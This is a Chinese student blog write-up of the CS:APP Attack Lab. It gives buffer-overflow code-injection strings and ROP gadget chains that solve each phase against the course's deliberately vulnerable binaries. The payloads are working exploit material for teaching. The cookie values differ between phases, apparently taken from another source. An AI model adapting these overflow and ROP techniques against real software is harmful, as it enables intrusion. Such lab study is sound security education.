Attack Lab
(PS:本篇图库用的GitHub,所以建议科学阅图)
之前拖了一会儿作业,要去世了,现在补上吧
touch1
这里是先执行test函数,然后退出。
但是要不执行完test,而去执行touch1
1 2 3 4 5 6 7
| unsigned int __cdecl getbuf() { char buf[40];
Gets(buf); return 1; }
|
显然这里buf只开了40的内存,所以直接使用字符串攻击
1
| .text:00000000004017C0 ; void __cdecl touch1()
|
所以使溢出的地址为touch1的地址即可(这里需要注意这个程序是小端的地址要倒写
1 2 3 4 5 6 7 8 9 10 11
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00
|
touch2
这道题我一开始没看懂,一开始一直以为是参数压栈的方式来攻击,发现我多少有点大病,然后去看了一眼blog.,大致上的画了一张图。
大致上是这么一个意思
将
1 2 3 4 5 6 7
| movq $0x59b997fa,%rdi pushq $0x4017ec ret
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 9: 68 ec 17 40 00 pushq $0x4017ec e: c3 retq
|
所以攻击序列为
1 2 3 4 5 6 7 8 9 10 11
| 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55
|
touch3
不难发现传入了一个参数这个参数与cookie进行了比较
从汇编里可以发现了在touch3的开始将sval值设置成rdi,说明rdi是存放参数地址的那个寄存器。(PS:这里要求cookie是个字符串的所以要存在栈里)
所以有了以下攻击序列:
然后就mad显而易见的错误了,这里看到
在touch3里面有一个函数申请了110的空间,我直接az了,然后就有了下面这张
攻击序列:
1 2 3 4 5 6 7 8
| 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00
|
ROP:
问了一些别的师傅,我一开始是不了解ROP的;
ROP简单来说有两个特性:
1.栈随机
2.栈只可读
touch2:
这里说明需要从Gadget中找到对应的片段来进行攻击就行了:
(然后悄悄地看了眼达不溜屁,
可以找到两个满足条件的gadget
1 2 3 4
| popq %rax ret mov %rax,%rdi ret
|
这里将rax出栈赋值成cookie,然后复制给rdi
于是攻击字符串为:
1 2 3 4 5 6 7 8 9 10 11
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2d 1a 40 00 00 00 00 00 //gadget1的起始地址 00 16 fb 73 00 00 00 00 //cookie 41 1a 40 00 00 00 00 00 //gadget2的起始地址 67 18 40 00 00 00 00 00 //touch2 的起始地址
|
ROP touch3
这个我是真的没找到我直接看blog的,下面贴出所找到的指令:
1
| mov %rsp,%raxretmov %rax,%rdiretpopq %rax ret movl %eax,%edxretmovl %edx,%ecxretmovl %ecx,%esiretlea (%rdi,%rsi,1),%raxretmov %rax,%rdiret
|
先把%rsp
存储的栈顶指针值复制给%rdi
, 再将%eax
的值设置为cookie
字符串地址在栈中的偏移量并复制给%esi
,最后将二者相加即为cookie
字符串的存储地址。当指令指到ret指令行时,说明一个函数已经结束了,这时候%rsp已经从被调用函数的栈指到了调用函数构建的返回地址位置。
所以当执行第一条指令时,%rsp指向当前栈顶即存储下一条指令的地址,而后面的指令执行完后最终不会使该%rsp值改变。
在第一条指令之后即从第二条指令开始,cookie字符串之前还有有9条指令,共占有72个字节即0x48字节,此即cookie字符串的地址在栈中的偏移量。
攻击字符串:
1
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 //以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。b7 1a 40 00 00 00 00 00 //用gadget1的起始地址覆盖掉原先的返回地址。41 1a 40 00 00 00 00 00 //gadget2的起始地址。2d 1a 40 00 00 00 00 00 //gadget3的起始地址。48 00 00 00 00 00 00 00 //cookie字符串地址在栈中的偏移量。53 1a 40 00 00 00 00 00 //gadget4的起始地址。a9 1a 40 00 00 00 00 00 //gadget5的起始地址。ca 1a 40 00 00 00 00 00 //gadget6的起始地址。4c 1a 40 00 00 00 00 00 //gadget7的起始地址。41 1a 40 00 00 00 00 00 //gadget8的起始地址。75 19 40 00 00 00 00 00 //touch3 的起始地址。37 33 66 62 31 36 30 30 //cookie字符串的字节表示。
|
完结撒花
PS:最近在写BUU的WP,所以有点拖拉,尽量在近期将BUU的WP发出来,博客搞搞完。